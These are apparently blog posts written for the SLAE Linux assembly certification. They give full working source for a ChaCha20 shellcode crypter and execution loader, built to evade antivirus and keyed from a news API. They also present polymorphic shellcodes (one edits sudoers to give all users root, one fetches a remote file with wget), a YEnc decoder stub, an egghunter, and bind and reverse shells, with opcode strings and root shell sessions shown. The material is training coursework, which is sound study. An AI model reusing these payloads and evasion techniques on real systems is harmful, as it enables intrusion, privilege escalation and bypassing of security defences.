This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
This final exercise consists in using a custom crypter and decrypter to evade anti-virus engines, since signatures are used most of the time.
They are both taking advantage of the EVP functions provided by OpenSSL. The chosen algorithm was the ChaCha20 stream cipher with a random IV (12 bytes) and a key (32 bytes) retrieved on run-time. The key is the SHA256 of the id of the latest news of a configured section by using the public API provided by The Guardian.
#include <openssl/conf.h>#include <openssl/err.h>#include <openssl/evp.h>#include <openssl/rand.h>#include <err.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include "common.h"unsignedcharshellcode[]=STR(SHELLCODE);intmain(void){EVP_CIPHER_CTX*ctx;unsignedcharb[BUFSIZ];/* Crypted buffer (should be enough). */unsignedchariv[12];/* The IV length is 96 bits. */unsignedcharkey[32];/* The key length is 256 bits. */unsignedchar*ptr=b;intbl,ol;common_key(key);/* Get dynamic key. */if(RAND_bytes(iv,sizeofiv)==0)/* Get a random IV. */CRYPTER_SSLERR();if((ctx=EVP_CIPHER_CTX_new())==NULL)CRYPTER_SSLERR();if(EVP_EncryptInit_ex(ctx,EVP_chacha20(),NULL,key,iv)==0)CRYPTER_SSLERR();if(EVP_EncryptUpdate(ctx,b,&bl,shellcode,strlen((char*)shellcode))==0)CRYPTER_SSLERR();if(EVP_EncryptFinal_ex(ctx,b+bl,&ol)==0)CRYPTER_SSLERR();/* Check for NUL bytes in the crypted shellcode. */while(ptr!=b+bl+ol){/* Final buffer size is bl plus ol. */if(*ptr==0)errx(1,"NUL byte found!");/* There might be more! */ptr++;}for(ptr=key;ptr!=key+sizeofkey;ptr++)printf("\\x%02x",*ptr);puts("");/* Print the shellcode prefixed with the randomly generated IV. */for(ptr=iv;ptr!=iv+sizeofiv;ptr++)printf("\\x%02x",*ptr);for(ptr=b;ptr!=b+bl+ol;ptr++)printf("\\x%02x",*ptr);puts("");return(0);}
The common key retrieval code depends on cURL. Installing the header and library files, like with OpenSSL, is also needed:
#include <curl/curl.h>#include <openssl/sha.h>#include <err.h>#include <stdio.h>#include <string.h>#define COMMON_APIKEY "decfe466-4db7-4a7c-b0b8-f067cceaf94d"#define COMMON_BASE "https://content.guardianapis.com"#define COMMON_ENDPOINT "/search"#define COMMON_ENDPOINT_ARGS "?section=science&page-size=1&api-key="#define COMMON_URL \ COMMON_BASE \ COMMON_ENDPOINT \ COMMON_ENDPOINT_ARGS \ COMMON_APIKEYsize_tcommon_write(char*ptr,size_tsize,size_tnmemb,void*userdata){char*buf=(char*)userdata;strncpy(buf,ptr,BUFSIZ-1);buf[BUFSIZ-1]='\0';/* Guarantee a NUL. */return(nmemb*size);/* Size is always 1; no overflow. */}voidcommon_key(unsignedchar*key){CURL*curl;char*end;constchar*start;charr[BUFSIZ];/* Response (should be enough). */if(curl_global_init(CURL_GLOBAL_ALL)!=0)errx(1,"curl_global_init");if((curl=curl_easy_init())==NULL)errx(1,"curl_easy_init");if(curl_easy_setopt(curl,CURLOPT_URL,COMMON_URL)!=0)errx(1,"curl_easy_setopt");if(curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,common_write)!=0)errx(1,"curl_easy_perform");if(curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&r)!=0)errx(1,"curl_easy_perform");if(curl_easy_perform(curl)!=0)errx(1,"curl_easy_perform");/* Generate a key by finding the id and performing a SHA256 over it. */if((start=strstr(r,"id"))==NULL)errx(1,"start not found");start+=5;/* Go over the attribute. */if((end=strchr(start,'"'))==NULL)errx(1,"end not found");*end='\0';/* Turn it into a NUL byte. *//* The key needs to be 32 bytes. */printf("Generating key from: %s\n",start);SHA256((unsignedchar*)start,strlen(start),key);}
#include <openssl/conf.h>#include <openssl/err.h>#include <openssl/evp.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include "common.h"unsignedcharshellcode[]=STR(SHELLCODE);intmain(void){EVP_CIPHER_CTX*ctx;unsignedcharb[BUFSIZ];unsignedchariv[12];/* The IV length is 96 bits. */unsignedcharkey[32];/* The key length is 256 bits. */unsignedchar*ptr=shellcode+12;intbl,ol;common_key(key);/* Get dynamic key. */memcpy(iv,shellcode,sizeofiv);/* Save the prefixed IV. */if((ctx=EVP_CIPHER_CTX_new())==NULL)CRYPTER_SSLERR();if(EVP_DecryptInit_ex(ctx,EVP_chacha20(),NULL,key,iv)==0)CRYPTER_SSLERR();if(EVP_DecryptUpdate(ctx,b,&bl,ptr,strlen((char*)shellcode)-sizeofiv)==0)CRYPTER_SSLERR();if(EVP_DecryptFinal_ex(ctx,b+bl,&ol)==0)CRYPTER_SSLERR();(*(void(*)(void))b)();/* Execute decrypted shellcode. */return(0);/* NOTREACHED */}
Executing the crypter yields the following output. Like with the previous exercises, the shellcode to execute can be tweaked by the SHELLCODE variable:
1234
$ make crypter SHELLCODE=../0x01-bind/bind
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
\xeb\x97\x33\xb0\xf6\x5a\x73\x32\x31\x34\xc8\x00\x63\x34\x98\x8e\x47\x2d\xdc\x6f\xc4\x1f\x83\x81\xf9\x04\x1b\xc9\x96\x86\x6f\xe2
\xcb\x1a\x5c\x61\x70\x5e\x82\x09\x59\x4f\xe6\x42\x1a\x62\xb9\xa6\x43\x09\xdf\x99\x33\x22\xf4\xfa\x41\xa5\x27\x6a\xe7\xfc\x76\x6a\x86\x5e\xa2\x8b\xf3\x3f\x5c\x90\xe9\xeb\x38\x4a\x0f\x30\xdb\x20\x4a\x8f\xcd\x8a\xa2\x53\xaf\xc4\x03\x1b\xe8\xf5\x9e\xe4\xed\xa6\x43\xc5\x92\xdd\xb9\x20\x0d\x1a\xb0\x95\xe7\x33\xd0\x44\x1b\x05\x47\x1c\x59\x3f\x99\xe1\xd2\x74\x62\x6d\x2b\x85\x55\xe2
The decrypter target already takes care of executing the crypter with the specified shellcode and extracting it from the above output:
12345678910
$ make decrypter
cc -W -Wall -Wformat=2 -fno-stack-protector -zexecstack -ggdb -DSHELLCODE=`./crypter|tail -n1` -c -o decrypter.o decrypter.c
cc -lcrypto -lcurl -zexecstack decrypter.o common.o -o decrypter
# ./decrypterGenerating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
$ ss -nlt|grep 4242
LISTEN 00 *:4242 *:*
$ nc 127.0.0.1 4242
id
uid=0(root)gid=0(root)groups=0(root)
Printing the contents of the decrypted buffer shows that the shellcode payload was correctly decrypted and is not gibberish unlike the original provided one:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
The sixth exercise consisted of choosing 3 linux/x86 shellcodes from shell-storm.org and polymorphically alter them. The resulting shellcode should have at the most 150% the size of the original one.
This technique is useful for bypassing anti-virus engines where common operations are fingerprinted and blacklisted. By modifying a shellcode with semantically equivalent instructions, the shellcode will be harder to detect.
1. Shared memory exec (369)
This shellcode consists of attaching to a shared memory region and executing the in memory shellcode. It’s initial size is 50 bytes, therefore its polymorphic code must be 75 bytes maximum, according to the requirements.
The above original shellcode will obtain the identifier associated with the provided shared memory key, attach to it and jump to the in memory executable code, if any.
This is using the ipc(2) system call, where like socketcall(2), its first argument is the IPC function to invoke. However, unlike the socket system calls which are now exported on x86, the IPC ones aren’t.
Its fourth parameter (third in the prototype) is a user-provided logical address pointer where the contents of the shared memory can be accessed.
The registers for the two ipc(2) system calls will, then, have the following respective values:
+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 23 | <== shmget(2)
| ecx | 0xdeafbeef |
| edx | 0 | <== size is specified by the creator
| esi | 0 | <== so are the flags
| edi | 0 |
| ebp | 0 |
+----------+---------------+
| return | id |
+----------+---------------+
+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 21 | <== shmat(2)
| ecx | shmget(2) id |
| edx | 0 | <== flags
| esi | address |
| edi | 0 |
| ebp | 0 |
+----------+---------------+
Initially, couldn’t get it to work due to the hard-coded shared memory logical address. Substituting it with the current logical address of the stack allows to correctly read the contents off the shared memory.
The below polymorphic shellcode also gets the shared memory key by negating its initial value and performing logic and mathematical operations on the registers and is 11 bytes smaller than the original:
Just like with the egghunter exercise, a custom second stage shellcode can be specified via the STAGE2 variable, which will be copied to the shared memory region:
1234567891011121314151617181920212223242526
$ make PROG=369STAGE2=../0x01-bind/bind
nasm -f elf32 -o 369.o 369.asm
ld -N -zexecstack -o 369 369.o
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 99 cdq
8048083: 8d 18 lea ebx,[eax] 8048085: 21 de and esi,ebx
8048087: 29 ff sub edi,edi
8048089: 31 ed xor ebp,ebp
804808b: b9 42450135 mov ecx,0x35014542
8048090: f7 d9 neg ecx
8048092: 80 c3 17 add bl,0x17
8048095: 0c 75 or al,0x75
8048097: cd 80 int 0x80
8048099: 89 e6 mov esi,esp
804809b: 89 c1 mov ecx,eax
804809d: 4b dec ebx
804809e: 4b dec ebx
804809f: 21 e8 and eax,ebp
80480a1: 0475 add al,0x75
80480a3: cd 80 int 0x80
80480a5: ff 26 jmp DWORD PTR [esi]Shellcode size: 39
\x31\xc0\x99\x8d\x18\x21\xde\x29\xff\x31\xed\xb9\x42\x45\x01\x35\xf7\xd9\x80\xc3\x17\x0c\x75\xcd\x80\x89\xe6\x89\xc1\x4b\x4b\x21\xe8\x04\x75\xcd\x80\xff\x26
cc -DSHELLCODE=`asm-opcodes 369` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode 369.c
(gdb) b *0x00402085
Breakpoint 2 at 0x402085
(gdb)continueContinuing.
Dump of assembler code forfunction shellcode:
0x00402060 <+0>: xor eax,eax
0x00402062 <+2>: cdq
0x00402063 <+3>: lea ebx,[eax] 0x00402065 <+5>: and esi,ebx
0x00402067 <+7>: sub edi,edi
0x00402069 <+9>: xor ebp,ebp
0x0040206b <+11>: mov ecx,0x35014542
0x00402070 <+16>: neg ecx
0x00402072 <+18>: add bl,0x17
0x00402075 <+21>: or al,0x75
0x00402077 <+23>: int 0x80
0x00402079 <+25>: mov esi,esp
0x0040207b <+27>: mov ecx,eax
0x0040207d <+29>: dec ebx
0x0040207e <+30>: dec ebx
0x0040207f <+31>: and eax,ebp
0x00402081 <+33>: add al,0x75
0x00402083 <+35>: int 0x80=> 0x00402085 <+37>: jmp DWORD PTR [esi] 0x00402087 <+39>: add BYTE PTR [eax],al
End of assembler dump.
$2=[ IF ]Breakpoint 2, 0x00402085 in shellcode ()(gdb) i r esi
esi 0xbffff62c -1073744340
(gdb) x/10i *$esi 0xb7fd2000: xor eax,eax
0xb7fd2002: xor esi,esi
0xb7fd2004: cdq
0xb7fd2005: mov ax,0x167
0xb7fd2009: push 0x2
0xb7fd200b: pop ebx
0xb7fd200c: push 0x1
0xb7fd200e: pop ecx
0xb7fd200f: int 0x80
0xb7fd2011: xchg ebx,eax
123456789
# ./shellcodeShellcode length: 39
Second stage length: 82
$ ss -nlt|grep 4242
LISTEN 00 *:4242 *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root)gid=0(root)groups=0(root)
2. Remote file download (611)
The objective of this one consists in calling /usr/bin/wget via execve(2) and fetch the remote aaaa resource. It’s size is 42 bytes, meaning that its morphed code must be at the most 63 bytes.
Trying to execute it does, indeed, fetch the remote resource. In the modified shellcode I’ve opted to remove the last two instructions, since if the execve(2) system call fails -1 is returned, thus incrementing eax would make the code call restart_syscall(2).
1234
$ ./611
--2018-08-08 22:00:10-- http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'
To save space, pointer arithmetic operations on stack values are performed with the ebp register, instead of with esp. The offsets are, also, statically calculated by the code. The resulting morphed shellcode is 21 bytes bigger, making it the maximum 63 bytes allowed by the requirements:
$ ./shellcode
Shellcode length: 63
--2018-08-08 23:02:04-- http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'
3. Edit /etc/sudoers for full access (62)
The final one grants root access to every single user on the machine. It’s size is 86 bytes, meaning that the altered shellcode should be at the most 129 bytes.
Decided to drop the close(2) and exit(2) system calls since they don’t bring any advantages whatsoever and moreover, prunning them allowed to focus more on MMX, FPU and SSE instructions. The total size of the morphed code is 128 bytes:
To partially build the filename, the MMX XOR functions were used with an initial XOR value. The resulting value serves as the XOR value to the next one:
Following that, the emms instruction is issued to signal the CPU that MMX operations are done and the shared registers are going to be used by the x87 FPU, which is going to be needed by the fmul instruction to calculate the flags for the open(2) system call:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
Instead of analysing the already done shellcodes in the previous exercises like the bind and reverse shells, I’ve decided to pick the following three:
1. linux/x86/shell_find_port
This payload checks if a remote client is connecting from the configured TCP port by going through all file descriptors. In that circumstance, a shell is spawned:
The block up to the first interrupt is making use of the socketcall(2) system call to retrieve the foreign protocol address associated with a socket by using getpeername(2). The first expects the socket system call number in its first parameter and a memory region containing the respective system call arguments in the second parameter.
Like with accept(2), this function passes a socket address structure from the kernel to the user process, thus one of its arguments is the socket structure size. This is a pointer since it is both a value when it is called and a result when returned. Its structure in memory will have the following layout:
Dump of assembler code forfunction shellcode:
0x00402060 <+0>: xor ebx,ebx
0x00402062 <+2>: push ebx
0x00402063 <+3>: mov edi,esp
0x00402065 <+5>: push 0x10
0x00402067 <+7>: push esp
0x00402068 <+8>: push edi
0x00402069 <+9>: push ebx
0x0040206a <+10>: mov ecx,esp
=> 0x0040206c <+12>: mov bl,0x7
0x0040206e <+14>: inc DWORD PTR [ecx] 0x00402070 <+16>: push 0x66
0x00402072 <+18>: pop eax
0x00402073 <+19>: int 0x80
0x00402075 <+21>: cmp WORD PTR [edi+0x2],0x9210
0x0040207b <+27>: jne 0x40206e <shellcode+14>
0x0040207d <+29>: pop ebx
0x0040207e <+30>: push 0x2
0x00402080 <+32>: pop ecx
0x00402081 <+33>: mov al,0x3f
0x00402083 <+35>: int 0x80
0x00402085 <+37>: dec ecx
0x00402086 <+38>: jns 0x402081 <shellcode+33>
0x00402088 <+40>: push eax
0x00402089 <+41>: push 0x68732f2f
0x0040208e <+46>: push 0x6e69622f
0x00402093 <+51>: mov ebx,esp
0x00402095 <+53>: push eax
0x00402096 <+54>: push ebx
0x00402097 <+55>: mov ecx,esp
0x00402099 <+57>: cdq
0x0040209a <+58>: mov al,0xb
0x0040209c <+60>: int 0x80
0x0040209e <+62>: add BYTE PTR [eax],al
End of assembler dump.
$9=[ PF ZF IF ]0x0040206c in shellcode ()(gdb) x/6x $esp0xbffff588: 0x00000000 0xbffff598 0xbffff594 0x00000010
0xbffff598: 0x00000000 0x0040098a
(gdb) x/x $esp+4
0xbffff58c: 0xbffff598
(gdb) i r edi
edi 0xbffff598 -1073744488
(gdb) x/x $esp+8
0xbffff590: 0xbffff594
(gdb) x/x 0xbffff594
0xbffff594: 0x00000010
The next block of code is comprised of checking the remote TCP port for the current file descriptor. The sin_port member, as described in the first exercise, is 2 bytes from the start of the returned structure, and will be compared with 0x9210 (ie 4242/tcp). If the zero flag isn’t set, the next file descriptor will be tried, by incrementing the memory location mentioned above.
In this scenario, the remote client will be assigned file descriptor 4, since file descriptors 0 through 2 are the standard ones, and the third is returned by socket(2):
The remaining of the code is the standard dup2(2) redirection of the usual file descriptors and calling execve(2) with /bin/sh. The following C program can be used to see the shellcode in action:
Connecting from a random TCP port using nc(1) is silently ignored, while from the configured one yields a shell:
12345678910111213
# ./shellcode 4243Connection from 127.0.0.1:44050
Connection from 127.0.0.1:4242
$ ss -nlt|grep 4243
LISTEN 05 *:4243 *:*
$ nc -v 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
^C
$ nc -vp4242 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
uid=0(root)gid=0(root)groups=0(root)
2. linux/x86/shell_find_tag
This one is similar to the above, but instead of expecting a specific remote port on one of its file descriptors, it searches for a configured tag:
The recv(2) system call will be used to receive a message from the file descriptors and save the received data on the stack. Its structure in memory will have the following layout:
Dump of assembler code forfunction shellcode:
0x00402080 <+0>: xor ebx,ebx
0x00402082 <+2>: push ebx
0x00402083 <+3>: mov esi,esp
0x00402085 <+5>: push 0x40
0x00402087 <+7>: mov bh,0xa
0x00402089 <+9>: push ebx
0x0040208a <+10>: push esi
0x0040208b <+11>: push ebx
0x0040208c <+12>: mov ecx,esp
=> 0x0040208e <+14>: xchg bl,bh
0x00402090 <+16>: inc WORD PTR [ecx] 0x00402093 <+19>: push 0x66
0x00402095 <+21>: pop eax
0x00402096 <+22>: int 0x80
0x00402098 <+24>: cmp DWORD PTR [esi],0x45414c53
0x0040209e <+30>: jne 0x402090 <shellcode+16>
0x004020a0 <+32>: pop edi
0x004020a1 <+33>: mov ebx,edi
0x004020a3 <+35>: push 0x2
0x004020a5 <+37>: pop ecx
0x004020a6 <+38>: push 0x3f
0x004020a8 <+40>: pop eax
0x004020a9 <+41>: int 0x80
0x004020ab <+43>: dec ecx
0x004020ac <+44>: jns 0x4020a6 <shellcode+38>
0x004020ae <+46>: push 0xb
0x004020b0 <+48>: pop eax
0x004020b1 <+49>: cdq
0x004020b2 <+50>: push edx
0x004020b3 <+51>: push 0x68732f2f
0x004020b8 <+56>: push 0x6e69622f
0x004020bd <+61>: mov ebx,esp
0x004020bf <+63>: push edx
0x004020c0 <+64>: push ebx
0x004020c1 <+65>: mov ecx,esp
0x004020c3 <+67>: int 0x80
0x004020c5 <+69>: add BYTE PTR [eax],al
End of assembler dump.
$2=[ PF ZF IF ]---Type <return> to continue, or q <return> to quit---
Breakpoint 2, 0x0040208e in shellcode ()(gdb) x/6x $esp0xbffff158: 0x00000a00 0xbffff168 0x00000a00 0x00000040
0xbffff168: 0x00000000 0x00400b44
(gdb) x/x $esp+4
0xbffff15c: 0xbffff168
(gdb) i r esi
esi 0xbffff168 -1073745560
The next block of code checks if the received tag matches the one configured (SLAE). If the zero flag isn’t set, the next file descriptor is checked, by incrementing the memory location mentioned above. Since in this scenario only one client will be connecting, its assigned file descriptor will also be 4:
# ./shellcode 4242Connection from 127.0.0.1:47590
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
HELO
id
SLAE
id
uid=0(root)gid=0(root)groups=0(root)
3. linux/x86/read_file
The final shellcode reads the configured file and writes its contents to a specific file descriptor. Since the above skeleton C program will be used, the contents are going to be written to the remote client over the network on descriptor 4. Since it needs to obtain the absolute address in memory of the path to open, it is using the well known JMP/CALL/POP technique to avoid having \x00 characters in the resulting shellcode:
By making use of the listening skeleton server as before, the contents of the /proc/version file are echoed back to the remote client:
12345
# ./shellcode 4242Connection from 127.0.0.1:47624
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
Linux version 4.9.0-6-686-pae (debian-kernel@lists.debian.org)(gcc version 6.3.0 20170516(Debian 6.3.0-18+deb9u1))#1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
This one details the use of an encoding scheme to encode the shellcode with and decode it subsequently on runtime, which is rather handy to evade anti-virus engines.
I’ve decided to use YEnc (draft 1.3). YEnc is used to encode binary data to be transmitted by email or newsgroups and uses the complete 8-bit character set, thus making its output only 1-2% larger than the original.
Basically, the encoding process consists of for any given character, increment its ASCII value by 42, modulo 256. Next, if the resulting character is a forbidden one (0x00, 0x0a, 0x0d and 0x3d), output the escape 0x3d character and increment the previous resulting character by 64, modulo 256.
The encoder does not strictly follow the draft, since it will not use the header, trailer and the CRC32 checksum.
1234567891011121314151617181920212223242526
#!/usr/bin/python# Follows YEnc draft 1.3 with regards to the encoding process. No header or# trailer will be used by the decoder, nor will the CRC32.## An encoded character is equal to its original ASCII value plus 42, modulo 256.# In case of a special character is detected (0x00, 0x0a, 0x0d and 0x3d), the# resulting encoded character is prefixed with the escape 0x3d character and its# already encoded result (with the above) will be incremented 64, modulo 256.importsysiflen(sys.argv)==1:sys.exit("usage: opcodes")print"Original shellcode size: "+str(len(sys.argv[1]))enc=list()forcinsys.argv[1]:c=(ord(c)+42)%256ifc==0x00orc==0x0aorc==0x0dorc==0x3d:enc.append(hex(61))c=(c+64)%256# critical character; double encodeenc.append(hex(c))# regular characterprint"Encoded shellcode size: "+str(len(enc))print",".join(enc)
The resulting shellcode is using the FPU fldz and fstenv instructions to get the absolute address of the shellcode. Due to the decoding process having to discard the escape characters, it is also pushing the final decoded characters to the stack instead of the data section, where it would imply having to overwrite the escape characters:
As usual, the configure script in the base directory can be used to tweak the code. In this case, the new -s command-line option should point to the shellcode to encode:
$ ./configure -s 0x02-reverse/reverse
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
Using shellcode: 0x02-reverse/reverse
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
Using shellcode: 0x01-bind/bind
$ cd 0x04-encoder/
$ make
nasm -f elf32 -o decoder.o decoder.asm
ld -N -zexecstack -o decoder decoder.o
08048080 <_start>:
8048080: 31 c9 xor ecx,ecx
8048082: f7 e1 mul ecx
8048084: d9 ee fldz
8048086: eb 53 jmp 80480db <decoder_pc>
08048088 <decoder_shellcode>:
8048088: 5b pop ebx
8048089: ea 5b 20 c3 90 e2 91 jmp 0x91e2:0x90c3205b
8048090: 2b 94 2c 8594 2b 83 sub edx,DWORD PTR [esp+ebp*1-0x7cd46b7b] 8048097: f7 aa bd 90 e2 93 imul DWORD PTR [edx-0x6c1d6f43] 804809d: 2b 809092 3a bc sub eax,DWORD PTR [eax-0x43c56d70] 80480a3: 90 nop
80480a4: 94 xchg esp,eax
80480a5: 2c b3 sub al,0xb3
80480a7: 0b 94 3a 84 f7 aa 90 or edx,DWORD PTR [edx+edi*1-0x6f55087c] 80480ae: e2 95 loop 8048045 <decoder_length+0x8047ff2>
80480b0: 2b 5b f3 sub ebx,DWORD PTR [ebx-0xd] 80480b3: f7 aa 21 0b 90 e2 imul DWORD PTR [edx-0x1d6ff4df] 80480b9: 96 xchg esi,eax
80480ba: 2b f7 sub esi,edi
80480bc: aa stos BYTE PTR es:[edi],al
80480bd: bd 6b 6b 9469 mov ebp,0x69946b6b
80480c2: 82 f7 aa xor bh,0xaa
80480c5: 73 a3 jae 804806a <decoder_length+0x8048017>
80480c7: 22 7a da and bh,BYTE PTR [edx-0x26] 80480ca: 35929859 9d xor eax,0x9d599892
80480cf: 92 xchg edx,eax
80480d0: 92 xchg edx,eax
80480d1: 59 pop ecx
80480d2: 59 pop ecx
80480d3: 8c 93 b3 3d 4d 6b mov WORD PTR [ebx+0x6b4d3db3],ss
80480d9: f7 .byte 0xf7
80480da: aa stos BYTE PTR es:[edi],al
080480db <decoder_pc>:
80480db: 9b d9 7424 f4 fstenv [esp-0xc] 80480e0: 58 pop eax
80480e1: 8d 7004 lea esi,[eax+0x4] 80480e4: b1 53 mov cl,0x53
080480e6 <decoder_loop>:
80480e6: 80 3e 3d cmp BYTE PTR [esi],0x3d
80480e9: 7505 jne 80480f0 <decoder_regular>
80480eb: 46 inc esi
80480ec: 80 2e 40 sub BYTE PTR [esi],0x40
80480ef: 49 dec ecx
080480f0 <decoder_regular>:
80480f0: 80 2e 2a sub BYTE PTR [esi],0x2a
80480f3: 8a 06 mov al,BYTE PTR [esi] 80480f5: 880424 mov BYTE PTR [esp],al
80480f8: 46 inc esi
80480f9: 44 inc esp
80480fa: 42 inc edx
80480fb: e2 e9 loop 80480e6 <decoder_loop>
80480fd: 29 d4 sub esp,edx
80480ff: ff e4 jmp esp
Shellcode size: 129
\x31\xc9\xf7\xe1\xd9\xee\xeb\x53\x5b\xea\x5b\x20\xc3\x90\xe2\x91\x2b\x94\x2c\x85\x94\x2b\x83\xf7\xaa\xbd\x90\xe2\x93\x2b\x80\x90\x92\x3a\xbc\x90\x94\x2c\xb3\x0b\x94\x3a\x84\xf7\xaa\x90\xe2\x95\x2b\x5b\xf3\xf7\xaa\x21\x0b\x90\xe2\x96\x2b\xf7\xaa\xbd\x6b\x6b\x94\x69\x82\xf7\xaa\x73\xa3\x22\x7a\xda\x35\x92\x98\x59\x9d\x92\x92\x59\x59\x8c\x93\xb3\x3d\x4d\x6b\xf7\xaa\x9b\xd9\x74\x24\xf4\x58\x8d\x70\x04\xb1\x53\x80\x3e\x3d\x75\x05\x46\x80\x2e\x40\x49\x80\x2e\x2a\x8a\x06\x88\x04\x24\x46\x44\x42\xe2\xe9\x29\xd4\xff\xe4
cc -DSHELLCODE=`asm-opcodes decoder` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
Debugging with gdb(1) shows that the absolute address of the shellcode is correctly retrieved, since the address of the last FPU instruction is 0x08048084, thus putting the encoded shellcode 4 bytes below in 0x08048088:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
This exercise consisted in using the egghunter technique, which is rather useful when a shellcode is bigger than the available space. On those circumstances, an egg can be planted right before the second stage shellcode which when found by the hunter will be executed.
There is an interesting resource by skape which explains this concept quite well, as well as, various Linux implementations.
The one I came up with is based on his revisited access(2) system call with some differences. I’ve decided to instead use the rmdir(2) system call and to start on the very first page of the process virtual address space. Even though Linux reserves the first few pages for performance reasons and prevents a process of allocating them to avoid potential security issues related to NULL pointer dereferences on page zero, not starting the search at 0x10000 (see vm.mmap_min_addr) allows shaving off a few bytes.
The rmdir(2) system call will check if the provided address is valid. If for any reason the address can’t be accessed (unmapped, invalid permissions, etc), then EFAULT (-14) is returned, which the egghunter should check for robustness. In that case, the next page (PAGE_SIZE) is tried until addressable memory is found.
retrieving the error code
123
$ asm-errno EFAULT
14
0xfffffffffffffff2
rmdir(2) prototype
1
intrmdir(constchar*pathname);
retrieving the system call number and size of page
+----------+--------------------+
| register | value |
+----------+--------------------+
| eax | 40 |
| ebx | address to search |
+----------+--------------------+
To avoid repeating the egg twice and save space, the non-executable egg is also calculated on the fly by incrementing its value.
String comparison is done with the scas family, which depending on the direction flag (DF) being set or not it automatically increments or decrements the pointer to the next character. To illustrate this, consider the following program where a string is printed to the screen character by character. This is using the fldz and fstenv instructions to get the absolute address of the string to print:
To run the shellcode, like before, the configure command should be issued first, followed by make. The second stage payload can be specified by the STAGE2 variable:
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
$ cd 0x03-egghunter/
$ STAGE2=../0x02-reverse/reverse make
nasm -f elf32 -o egghunter.o egghunter.asm
ld -N -zexecstack -o egghunter egghunter.o
08048060 <_start>:
8048060: fc cld
8048061: 31 db xor ebx,ebx
08048063 <egg_restart>:
8048063: 6a 28 push 0x28
8048065: 58 pop eax
8048066: 43 inc ebx
8048067: cd 80 int 0x80
8048069: 3c f2 cmp al,0xf2
804806b: 7507 jne 8048074 <egg_check>
804806d: 6681 cb ff 0f or bx,0xfff
8048072: eb ef jmp 8048063 <egg_restart>
08048074 <egg_check>:
8048074: b8 bd ba fe ca mov eax,0xcafebabd
8048079: 40 inc eax
804807a: 89 df mov edi,ebx
804807c: af scas eax,DWORD PTR es:[edi] 804807d: 75 e4 jne 8048063 <egg_restart>
804807f: ff e7 jmp edi
Shellcode size: 33
\xfc\x31\xdb\x6a\x28\x58\x43\xcd\x80\x3c\xf2\x75\x07\x66\x81\xcb\xff\x0f\xeb\xef\xb8\xbd\xba\xfe\xca\x40\x89\xdf\xaf\x75\xe4\xff\xe7
cc -DSHELLCODE=`asm-opcodes egghunter` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
12345678
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1](family 0, port 4242)Connection from localhost 51918 received!
id
uid=0(root)gid=0(root)groups=0(root)# ./shellcodeEgghunter length: 33
Second stage length: 70
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
Like the previous bind shell, this one is using the well known socket functions. Given that it is supposed to connect to a remote system, it needs to call the connect(2) function instead of accepting. There’s also no need of binding, since the kernel will automatically choose an ephemeral port and determine the source IP address.
To define the remote host and port, like with the bind shell, the configure script should be used with the -h (127.1.1.1 by default) and -r (4242/tcp by default) command-line options:
$ ./configure -h 127.2.2.2 -r 1337
Using remote host: 0x0202027f
Using listening port: 0x9210
Using remote port: 0x3905
$ ./configure -h 127.0.0.1 -r 1337
Host contains NUL bytes!
$ ./configure -h 127.3.3.3 -r 1280
Port contains NUL bytes!
$ ./configure
Using remote host: 0x0101017f
Using listening port: 0x9210
Using remote port: 0x9210
$ cd 0x02-reverse/
$ make
nasm -f elf32 -o reverse.o reverse.asm
ld -N -zexecstack -o reverse reverse.o
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 99 cdq
8048063: 66 b8 6701 mov ax,0x167
8048067: 6a 02 push 0x2
8048069: 5b pop ebx
804806a: 6a 01 push 0x1
804806c: 59 pop ecx
804806d: cd 80 int 0x80
804806f: 93 xchg ebx,eax
8048070: 66 b8 6a 01 mov ax,0x16a
8048074: 68 7f 010101 push 0x101017f
8048079: 66681092 pushw 0x9210
804807d: 66 6a 02 pushw 0x2
8048080: 89 e1 mov ecx,esp
